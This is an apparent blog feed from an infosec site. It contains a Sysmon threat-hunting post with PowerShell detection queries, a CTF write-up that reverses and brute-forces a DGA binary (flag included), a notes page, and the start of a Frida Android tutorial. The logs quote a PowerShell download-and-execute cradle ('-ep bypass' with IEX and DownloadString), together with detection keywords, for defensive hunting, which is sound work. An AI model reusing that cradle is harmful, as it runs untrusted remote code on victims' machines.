test/assets/exercise/th3/1.ps1'))
CurrentDirectory: C:\Users\abdo-pc\Downloads\
User: DESKTOP-D3OJRQ4\abdo-pc
LogonGuid: {e3b07ee5-674d-65e6-52f1-100000000000}
LogonId: 0x10F152
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3
ParentProcessGuid: {e3b07ee5-6909-65e6-5402-000000000800}
ParentProcessId: 4264
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\abdo-pc\Downloads\1.bat" "     &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
ParentUser: DESKTOP-D3OJRQ4\abdo-pc
***************************************************
</code></pre></div></div>
<p>The output indeeds looks very suspicious, we can see a url pointing to  a .ps1 file hosted on github, we can also see some suspicious keywords like:</p>
<ul>
  <li>bypass</li>
  <li>IEX</li>
  <li>WebClient</li>
  <li>DownloadString</li>
</ul>

<p>All of these keywords are required for the attack to be successful and the are very commonly used to identify this type of attack. As can be seen <a href="https://github.com/search?q=repo%3AAzure%2FAzure-Sentinel%20IEX&amp;type=code">here</a> in azure sentinel repo of threat hunting rules.</p>

<h3 id="query-3-search-for-powershell-processes-with-urls-in-command-line">Query 3: Search for powershell processes with urls in command line</h3>
<p>For this one we will use <strong>ParentImage</strong> and <strong>CommandLine</strong> fields as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$logs= Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1}

foreach ($log in $logs){
    $conditions_matched = 0
    foreach($line in ($log.message -split '\n'))
    {
        if (($line.StartsWith("ParentImage")) -and ($line -match ".*chrome.exe" ) ){
            $conditions_matched +=1
        }

    }
    if ($conditions_matched -eq 1 ){
        echo $log.Message
        echo "***************************************************"}
}
</code></pre></div></div>
<p>This one will produce some false positives, as usually browsers create many processes to check for updates and distribute workload. But, still a good way to collect potentially sucpicious processes.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process Create:
RuleName: -
UtcTime: 2024-03-05 00:36:25.250
ProcessGuid: {e3b07ee5-6909-65e6-5402-000000000800}
ProcessId: 4264
Image: C:\Windows\System32\cmd.exe
FileVersion: 10.0.19041.3636 (WinBuild.160101.0800)
Description: Windows Command Processor
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: Cmd.Exe
CommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\abdo-pc\Downloads\1.bat" "
CurrentDirectory: C:\Users\abdo-pc\Downloads\
User: DESKTOP-D3OJRQ4\abdo-pc
LogonGuid: {e3b07ee5-674d-65e6-52f1-100000000000}
LogonId: 0x10F152
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=265B69033CEA7A9F8214A34CD9B17912909AF46C7A47395DD7BB893A24507E59
ParentProcessGuid: {e3b07ee5-68c0-65e6-1902-000000000800}
ParentProcessId: 9320
ParentImage: C:\Program Files\Google\Chrome\Application\chrome.exe
ParentCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" 
ParentUser: DESKTOP-D3OJRQ4\abdo-pc
***************************************************
</code></pre></div></div>

<p>Handling False positives is a regular task in threat hunting, for example, we can fine tune this rule by filtering for extra fields to reduce FPs, like removing entries where both the parent and the child is chrome.exe.</p>

<h2 id="extra-task">Extra Task:</h2>
<p>Lets also check the behaviour of the .ps1 file that got download from github. We can do that by finding all processes created where the parent is the powershell process that executed that .ps1 file.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$logs= Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=1}

foreach ($log in $logs){
    $conditions_matched = 0
    foreach($line in ($log.message -split '\n'))
    {

        if (($line.StartsWith("ParentCommandLine")) -and ($line -match ".*ps1" ) ){
            $conditions_matched +=1
        }
    }
    if ($conditions_matched -eq 1 ){
        echo $log.Message
        echo "***************************************************"}
}

</code></pre></div></div>
<p>Output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Process Create:
RuleName: -
UtcTime: 2024-03-05 00:36:29.969
ProcessGuid: {e3b07ee5-690d-65e6-5a02-000000000800}
ProcessId: 1824
Image: C:\Windows\System32\notepad.exe                          &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
FileVersion: 10.0.19041.3996 (WinBuild.160101.0800)
Description: Notepad
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: NOTEPAD.EXE
CommandLine: "C:\Windows\system32\notepad.exe"                  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
CurrentDirectory: C:\Users\abdo-pc\Downloads\
User: DESKTOP-D3OJRQ4\abdo-pc
LogonGuid: {e3b07ee5-674d-65e6-52f1-100000000000}
LogonId: 0x10F152
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=CB448EA83BCF46A21AA9A9B258F39C85DF962B18AE3682F2AAAC9D79E2C04EBD
ParentProcessGuid: {e3b07ee5-6909-65e6-5602-000000000800}
ParentProcessId: 3900
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: powershell.exe  -noexit -ep bypass -command IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/11x256/11x256.gith
ub.io/test/assets/exercise/th3/1.ps1'))
ParentUser: DESKTOP-D3OJRQ4\abdo-pc
***************************************************
</code></pre></div></div>

<h2 id="threat-hunting-posts">Threat Hunting posts</h2>
<ul>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-1-installing-sysmon/">Part 1 - Installing sysmon</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-2-sysmon-event-structure/">Part 2 - Sysmon event structure</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-3-command-line-investigation/">Part 3 - Command line investigation</a></li>
  <li><a href="https://infosec-blog.com/threat_hunting/Threat-Hunting-4-Loading-events-in-pandas-dataframe/">Part 4- Loading sysmon events in python</a></li>
</ul>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><summary type="html"><![CDATA[Threat hunting with sysmon]]></summary></entry><entry><title type="html">Threat Hunting with sysmon 101</title><link href="https://infosec-blog.com/threat_hunting/Threat-Hunting-with-sysmon/" rel="alternate" type="text/html" title="Threat Hunting with sysmon 101" /><published>2023-07-17T09:40:00+00:00</published><updated>2023-07-17T09:40:00+00:00</updated><id>https://infosec-blog.com/threat_hunting/Threat%20Hunting%20with%20sysmon</id><content type="html" xml:base="https://infosec-blog.com/threat_hunting/Threat-Hunting-with-sysmon/"><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2>

<p>I will begin a new series of blog posts where I engage in threat hunting using sysmon logs. Throughout the process, I will utilize free tools and Python to conduct the hunts. The objective is to document and share my previous knowledge and insights.</p>

<p>Stay tuned.</p>]]></content><author><name>abdo</name></author><category term="Threat_hunting" /><category term="Threat" /><category term="hunting" /><category term="sysmon" /><category term="Threat-hunting" /><category term="windows" /><category term="logs" /><category term="ELK" /><summary type="html"><![CDATA[Threat hunting with sysmon]]></summary></entry><entry><title type="html">EG-CTF 2019 ‘DGA’ challenge writeup</title><link href="https://infosec-blog.com/notes/EG-CTF-2019-writeup/" rel="alternate" type="text/html" title="EG-CTF 2019 ‘DGA’ challenge writeup" /><published>2019-11-17T20:40:00+00:00</published><updated>2019-11-17T20:40:00+00:00</updated><id>https://infosec-blog.com/notes/EG%20CTF%202019%20writeup</id><content type="html" xml:base="https://infosec-blog.com/notes/EG-CTF-2019-writeup/"><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2>

<p><a href="https://ctf2019.egcert.eg">EG-CTF 2019</a> was held on 15-Nov-2019, most of the challenges were written by people working at EG-CERT,  this challenge is not one of those challenges, as I am not working at EG-CERT anymore .</p>

<p>This challenge was not solved during the competition, which is quite sad, I designed it to take some effort, however, the duration of the CTF was sufficient, as you will see from the writeup.</p>

<p><strong>Problem statement</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This file has a DGA, we want to know when the following domain is/was contacted "egT.fAErxJ.dGS.chq.mABcfYnHI.atPhIX.dgR.org". Submit the flag using the following format: EGCTF{unix timestamp} .

For example: if it contacted the domain on Thursday January 1 1970 12:00:00 AM GMT+0, submit EGCTF{0}

Tip: use https://www.epochconverter.com to create the timestamp, and use GMT timezone if needed.

https://github.com/11x256/11x256.github.io/blob/master/binaries/ch2

</code></pre></div></div>

<p>The challenge is written in <a href="https://golang.org">GO</a>, which is a “modern” programming language by Google. This is what encouraged me to learn it, I wanted to see what is a “modern” programming language, probably you should too :D.</p>

<p>The difficulty of the challenge comes from the fact that it is compiled for ARM 64 architecture. This architecture is not commonly used in CTFs, which means that not many players have experience dealing with it. Also the symbols are stripped from the binary, so the first step will be to find the main function.</p>

<p>Before taking the first step, lets run the binary. But how can we run a binary for a different architecture? The answer is to buy another device(Raspberry PI or android device) or use <a href="https://www.qemu.org">QEMU</a>.</p>

<p>You can search for a tutorial on how to run an ARM64 machine using QEMU, or use an android VM from android studio, which is the fastest solution, I guess.</p>

<p><img src="https://raw.githubusercontent.com/11x256/11x256.github.io/master/images/2/1.PNG" alt="1" /></p>

<p>Now, we have to push the binary to the device and execute it using the following commands:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push ch /data/local/tmp
adb shell
</code></pre></div></div>

<p>The following commands are executed on the android device.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod </span>u+x /data/local/tmp/ch2
/data/local/tmp/ch2
</code></pre></div></div>

<p>You will notice that the binary takes a few seconds before printing the generated domain. This delay is intentional, and it is added to prevent players from solving it using a black box approach:wink:.</p>

<p>You can execute it a few times, and you will notice that the output changes in every time. Now, lets move to the first step.</p>

<p><strong>Finding the main function</strong></p>

<p>If the binary was not stripped, you would find a method named “main.main”, which is the main function. But since it is stripped, we will need to make some effort in order to find it.</p>

<p>We will do a very simple thing, we will write a hello world program in go, compile it for ARM64 and keep the symbols.</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="n">main</span>
<span class="k">import</span> <span class="s">"fmt"</span>

<span class="k">func</span> <span class="n">main</span><span class="p">(){</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"test"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">env </span><span class="nv">GOOS</span><span class="o">=</span>linux <span class="nv">GOARCH</span><span class="o">=</span>arm64 go build test.go
</code></pre></div></div>

<p>We can add another small step here. We will find out the version of go used to compile the binaries.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>go version
go version go1.13.1 windows/amd64
</code></pre></div></div>

<p>The result shows that we have version 1.13.1 on a windows machine and yes I am not the hacker who does not use windows :wink:.</p>

<p>We can use strings.exe, grep.exe to search for the version number in the challenge binary.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>λ strings.exe ch2 | <span class="nb">grep</span> <span class="s2">"go1."</span>
        <span class="nv">stack</span><span class="o">=[</span>asimdfhmasimdrdmcgocheckfault   go1.13.1lr      no anodepc      r0      r1      r10     r11     r12     r13     r14     r15     r16     r17     r18     r19     r2      r20     r21
     r22     r23     r24     r25     r26     r27     r28     r29     r3      r4      r5      r6      r7      r8      r9      readlinkrunnableruntime.scavengesp      unknown<span class="o">(</span> <span class="o">(</span>forced<span class="o">)</span> -&gt; <span class="nv">node</span><span class="o">=</span> <span class="nv">blocked</span><span class="o">=</span> <span class="nv">defersc</span><span class="o">=</span> <span class="k">in </span>use<span class="o">)</span>
</code></pre></div></div>

<p>As you can see from the output that the version numbers are identical, I did not try with different versions, maybe you can try that and see if you will obtain the same results.</p>

<p>Now, lets open the 2 binaries in IDA, the one we built with symbols and the challenge.</p>

<p><img src="https://raw.githubusercontent.com/11x256/11x256.github.io/master/images/2/2.png" alt="2" /></p>

<p>On the left side you can see that IDA identified 1847 functions with their names, and on the right side, only 1153 without names (symbols).</p>

<p>Luckily, the main function is the last function in both of the two binaries, sub_9f320 is the “main.main” in the stripped binary, so easy🤦‍♂️.</p>

<p>But, lets ignore the previous line, and try to identify it using a more effective method. We will compare the two binaries, and we will try to identify the functions that are present in both of them, our target should be “fmt.Println”, or other IO functions that can print to the stdout as we saw when we ran the binary on the android emulator.</p>

<p>Diaphora is a great plugin for IDA that can do this function matching for us. Sadly, the plugin could not match our target function “fmt.Println”, but it matched “fmt.doPrintln” with a matching ratio of 98%.</p>

<p>So now we know where is “fmt.doPrintln” in the stripped binary.</p>

<p>​	<img src="https://raw.githubusercontent.com/11x256/11x256.github.io/master/images/2/3.PNG" alt="3" /></p>

<p>By checking the cross references of “fmt.doPrintln” in the test binary, we can see that is called by only one function (“fmt.Println”), our target function. Also by checking the cross references of “sub_9EEB0” in the stripped binary, we can see that it is also called by one function, which must be “fmt.Println”, at least we are 98% sure of that.</p>

<p>Now by cross referencing the target function in the stripped binary, we find that it is called from only one function, and that function is not called from any other functions, so it is probably the “main.main” function.</p>

<p><strong>Reversing the main function</strong></p>

<p>I am not that good with ARM architecture, so I will keep try to finish this part as soon as possible, my target in this step is to try to figure out why does the binary take a few seconds to execute. If I can make it execute fasters, then solving it using a blackbox approach will be feasible.</p>

<p><img src="https://raw.githubusercontent.com/11x256/11x256.github.io/master/images/2/4.PNG" alt="4" /></p>

<p>These blocks are the counter measures added to prevent the blackbox approach, a basic for loop that will loop for 1903712550 times, in each iteration it does nothing. X0 is a register and is used as the loop counter, and its value is overwritten as soon as the loop ends, so this loop is a dead code.</p>

<p>In order to get rid of it, I swapped the registers order in the CMP instruction, so that the loop will not execute any iterations, as you can see from the comments added automatically by keypatch plugin.</p>

<p>There are 7 other loops like this in the binary, patch them all ,save the new binary and close IDA, we are done reversing for now.</p>

<p><strong>Blackbox approach</strong></p>

<p>If you run the patched binary on the android emulator, you will see that it now executes in less than a second. Which means that we can try to bruteforce the flag.</p>

<p>Also, you should have noticed that the output consists of 8 parts separated by dots, and that only a few parts change every time. Since we know that the binary behaves like a DGA, we can assume that the parts that change represent the current second, and the other parts represent the rest of the units of time (minutes, hours , days, months, years). We do not care about the fractions of a second, because they are not represented by the <a href="https://en.wikipedia.org/wiki/Unix_time">Unix timestamp</a>.</p>

<p>We can execute the bruteforce attack using DBI ( https://en.wikipedia.org/wiki/DynamoRIO ), emulation ( https://www.unicorn-engine.org/ ) or by running the program on the target device.</p>

<p>The first two methods will require more analysis of the binary in order to find what function is called to get the current timestamp, which is doable using the same approach we used to find the main function.</p>

<p>I will use the latter method, because it is the easiest method, I wrote a python script that will automate that process. The script will generate pairs of commands, the first command will set the time on the device, the second command will run the binary and log the output. Then the output will be inspected manually to determine whether the attack was successful or not.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmd1</span> <span class="o">=</span> <span class="s">"date 010203042019.xx &gt;&gt; /data/local/tmp/res"</span>
<span class="n">cmd2</span> <span class="o">=</span> <span class="s">"/data/local/tmp/ch2_patched &gt;&gt; /data/local/tmp/res"</span>

<span class="n">res</span> <span class="o">=</span> <span class="p">[]</span>

<span class="n">fout</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span> <span class="sa">r</span><span class="s">"E:\temp\eg-ctf\rev-egctf\go_dough\writeup\aa.sh"</span> <span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">60</span> <span class="p">,</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">res</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cmd1</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"xx"</span> <span class="p">,</span> <span class="s">"%02d"</span> <span class="o">%</span> <span class="n">i</span><span class="p">))</span>
    <span class="n">res</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">cmd2</span><span class="p">)</span>

<span class="n">fout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">" &amp;&amp; "</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">res</span><span class="p">))</span>
<span class="n">fout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
<span class="n">fout</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>

</code></pre></div></div>

<p>date command will set the date, we will start by bruteforcing the value of the seconds field. Hopefully we will get a correct result. The python script produces 60 pairs to try all the possible values of the seconds field, and the output will be appended to /data/local/tmp/res file.</p>

<p><img src="https://raw.githubusercontent.com/11x256/11x256.github.io/master/images/2/5.PNG" alt="5" /></p>

<p>This is a snippet of the result of bruteforcing the seconds field, as you can see, more than one part changes based on the value of the seconds filed, but the first part depends exclusively on the value of the seconds field, you can verify that by changing the other fields and checking whether the first part will change or not.</p>

<p>So the correct value for the seconds field is : 3. Now repeat the same steps until you get the rest of the fields.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>second == 3
minute == 44
hour == 6 - 1
day == 21 
month == 3
year == 2055
</code></pre></div></div>

<p>Remember that the hour field will change based on the timezone of your device.</p>

<p>flag : EGCTF{2689220643}</p>]]></content><author><name>abdo</name></author><category term="Notes" /><category term="ARM64" /><category term="REV" /><category term="CTF" /><category term="EGCTF" /><summary type="html"><![CDATA[Writeup for the challenge with zero solves :(]]></summary></entry><entry><title type="html">Things that i forget</title><link href="https://infosec-blog.com/notes/Things-i-forget/" rel="alternate" type="text/html" title="Things that i forget" /><published>2019-10-14T23:03:00+00:00</published><updated>2019-10-14T23:03:00+00:00</updated><id>https://infosec-blog.com/notes/Things%20i%20forget</id><content type="html" xml:base="https://infosec-blog.com/notes/Things-i-forget/"><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2>

<p>This is post will host things that i usually write from scratch every time i need them.</p>

<p><strong>POWERSHELL</strong></p>

<ul>
  <li>
    <p>Read sysmon logs</p>

    <div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Get-winevent</span><span class="w"> </span><span class="nt">-logname</span><span class="w"> </span><span class="s2">"Microsoft-Windows-Sysmon/Operational"</span><span class="w">
</span></code></pre></div>    </div>
  </li>
</ul>

<p><strong>IDA PYTHON</strong></p>

<p><strong>PYTHON 3</strong></p>

<p>XOR data in file with a key.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">xor_file</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="n">key_bytes</span><span class="p">):</span>
	<span class="n">fin</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_path</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
	<span class="n">temp</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">fin</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
	<span class="n">fin</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
	<span class="c1"># if the key is of type "string"
</span>	<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">key_bytes</span><span class="p">)</span> <span class="o">==</span> <span class="nb">type</span><span class="p">(</span><span class="s">""</span><span class="p">):</span>
		<span class="c1">#convert ascii string to bytes
</span>		<span class="n">key_bytes</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="nb">ord</span> <span class="p">,</span> <span class="n">key_bytes</span><span class="p">))</span>

	<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">temp</span><span class="p">)):</span>
		<span class="n">temp</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key_bytes</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key_bytes</span><span class="p">)]</span>
	<span class="k">return</span> <span class="n">temp</span>


<span class="k">print</span><span class="p">(</span><span class="n">xor_file</span><span class="p">(</span><span class="s">'a.bin'</span> <span class="p">,</span> <span class="s">'AAAA1234'</span><span class="p">))</span>
</code></pre></div></div>]]></content><author><name>abdo</name></author><category term="Notes" /><category term="Frida" /><category term="android" /><category term="reverse" /><category term="engineering" /><summary type="html"><![CDATA[Things that I cannot remember usually]]></summary></entry><entry><title type="html">Welcome to Jekyll!</title><link href="https://infosec-blog.com/blog/welcome-to-jekyll/" rel="alternate" type="text/html" title="Welcome to Jekyll!" /><published>2019-04-18T19:34:30+00:00</published><updated>2019-04-18T19:34:30+00:00</updated><id>https://infosec-blog.com/blog/welcome-to-jekyll</id><content type="html" xml:base="https://infosec-blog.com/blog/welcome-to-jekyll/"><![CDATA[<p>You’ll find this post in your <code class="language-plaintext highlighter-rouge">_posts</code> directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run <code class="language-plaintext highlighter-rouge">jekyll serve</code>, which launches a web server and auto-regenerates your site when a file is updated.</p>

<p>To add new posts, simply add a file in the <code class="language-plaintext highlighter-rouge">_posts</code> directory that follows the convention <code class="language-plaintext highlighter-rouge">YYYY-MM-DD-name-of-post.ext</code> and includes the necessary front matter. Take a look at the source for this post to get an idea about how it works.</p>

<p>Jekyll also offers powerful support for code snippets:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">print_hi</span><span class="p">(</span><span class="nb">name</span><span class="p">)</span>
  <span class="nb">puts</span> <span class="s2">"Hi, </span><span class="si">#{</span><span class="nb">name</span><span class="si">}</span><span class="s2">"</span>
<span class="k">end</span>
<span class="n">print_hi</span><span class="p">(</span><span class="s1">'Tom'</span><span class="p">)</span>
<span class="c1">#=&gt; prints 'Hi, Tom' to STDOUT.</span>
</code></pre></div></div>

<p>Check out the <a href="https://jekyllrb.com/docs/home">Jekyll docs</a> for more info on how to get the most out of Jekyll. File all bugs/feature requests at <a href="https://github.com/jekyll/jekyll">Jekyll’s GitHub repo</a>. If you have questions, you can ask them on <a href="https://talk.jekyllrb.com/">Jekyll Talk</a>.</p>]]></content><author><name>abdo</name></author><category term="blog" /><category term="Jekyll" /><category term="update" /><summary type="html"><![CDATA[You’ll find this post in your _posts directory. Go ahead and edit it and re-build the site to see your changes. You can rebuild the site in many different ways, but the most common way is to run jekyll serve, which launches a web server and auto-regenerates your site when a file is updated.]]></summary></entry><entry><title type="html">Frida hooking android part 5: Bypassing AES encryption</title><link href="https://infosec-blog.com/frida/android-reversing/Frida-hooking-android-part-5/" rel="alternate" type="text/html" title="Frida hooking android part 5: Bypassing AES encryption" /><published>2017-06-28T00:00:00+00:00</published><updated>2017-06-28T00:00:00+00:00</updated><id>https://infosec-blog.com/frida/android-reversing/Frida%20hooking%20android%20part%205</id><content type="html" xml:base="https://infosec-blog.com/frida/android-reversing/Frida-hooking-android-part-5/"><![CDATA[<h2 id="introduction"><strong>Introduction</strong></h2>

<p>In this post we will hook Java’s Crypto library using frida to acquire the data in clear text and the decryption/encryption keys from an android app.</p>

<h2 id="example-5"><strong>Example #5</strong></h2>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="nn">com.example.a11x256.frida_test</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">android.os.Bundle</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.support.v7.app.AppCompatActivity</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.util.Base64</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.view.View</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.widget.Button</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.widget.EditText</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">android.widget.TextView</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">java.io.BufferedReader</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.DataOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.IOException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.InputStreamReader</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.UnsupportedEncodingException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.HttpURLConnection</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.MalformedURLException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.net.URL</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.InvalidAlgorithmParameterException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.InvalidKeyException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.security.NoSuchAlgorithmException</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">javax.crypto.BadPaddingException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.Cipher</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.IllegalBlockSizeException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.NoSuchPaddingException</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.IvParameterSpec</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">javax.crypto.spec.SecretKeySpec</span><span class="o">;</span>

<span class="kd">public</span> <span class="kd">class</span> <span class="nc">my_activity</span> <span class="kd">extends</span> <span class="nc">AppCompatActivity</span> <span class="o">{</span>
    <span class="nc">EditText</span> <span class="n">username_et</span><span class="o">;</span>
    <span class="nc">EditText</span> <span class="n">password_et</span><span class="o">;</span>
    <span class="nc">TextView</span> <span class="n">message_tv</span><span class="o">;</span>
    <span class="nc">HttpURLConnection</span> <span class="n">conn</span><span class="o">;</span>

    <span class="nd">@Override</span>
    <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">onCreate</span><span class="o">(</span><span class="nc">Bundle</span> <span class="n">savedInstanceState</span><span class="o">)</span> <span class="o">{</span>
        <span class="kd">super</span><span class="o">.</span><span class="na">onCreate</span><span class="o">(</span><span class="n">savedInstanceState</span><span class="o">);</span>
        <span class="n">setContentView</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">layout</span><span class="o">.</span><span class="na">activity_my_activity</span><span class="o">);</span>
        <span class="n">message_tv</span> <span class="o">=</span> <span class="o">((</span><span class="nc">TextView</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">textView</span><span class="o">));</span>
        <span class="n">username_et</span> <span class="o">=</span> <span class="o">(</span><span class="nc">EditText</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">editText</span><span class="o">);</span>
        <span class="n">password_et</span> <span class="o">=</span> <span class="o">(</span><span class="nc">EditText</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">editText2</span><span class="o">);</span>
        <span class="o">((</span><span class="nc">Button</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">button</span><span class="o">)).</span><span class="na">setOnClickListener</span><span class="o">(</span><span class="k">new</span> <span class="nc">View</span><span class="o">.</span><span class="na">OnClickListener</span><span class="o">()</span> <span class="o">{</span>
            <span class="nd">@Override</span>
            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">onClick</span><span class="o">(</span><span class="nc">View</span> <span class="n">v</span><span class="o">)</span> <span class="o">{</span>
                <span class="n">send_data</span><span class="o">(</span><span class="n">username_et</span><span class="o">.</span><span class="na">getText</span><span class="o">()</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">password_et</span><span class="o">.</span><span class="na">getText</span><span class="o">());</span>
            <span class="o">}</span>
        <span class="o">});</span>

    <span class="o">}</span>

    <span class="kt">void</span> <span class="nf">send_data</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">data</span><span class="o">)</span> <span class="o">{</span>
        <span class="no">URL</span> <span class="n">url</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="n">url</span> <span class="o">=</span> <span class="k">new</span> <span class="no">URL</span><span class="o">(</span><span class="s">"http://192.168.18.134"</span><span class="o">);</span>
            <span class="kd">final</span> <span class="nc">HttpURLConnection</span> <span class="n">conn</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpURLConnection</span><span class="o">)</span> <span class="n">url</span><span class="o">.</span><span class="na">openConnection</span><span class="o">();</span>
            <span class="n">conn</span><span class="o">.</span><span class="na">setRequestMethod</span><span class="o">(</span><span class="s">"POST"</span><span class="o">);</span>
            <span class="n">conn</span><span class="o">.</span><span class="na">setDoOutput</span><span class="o">(</span><span class="kc">true</span><span class="o">);</span>
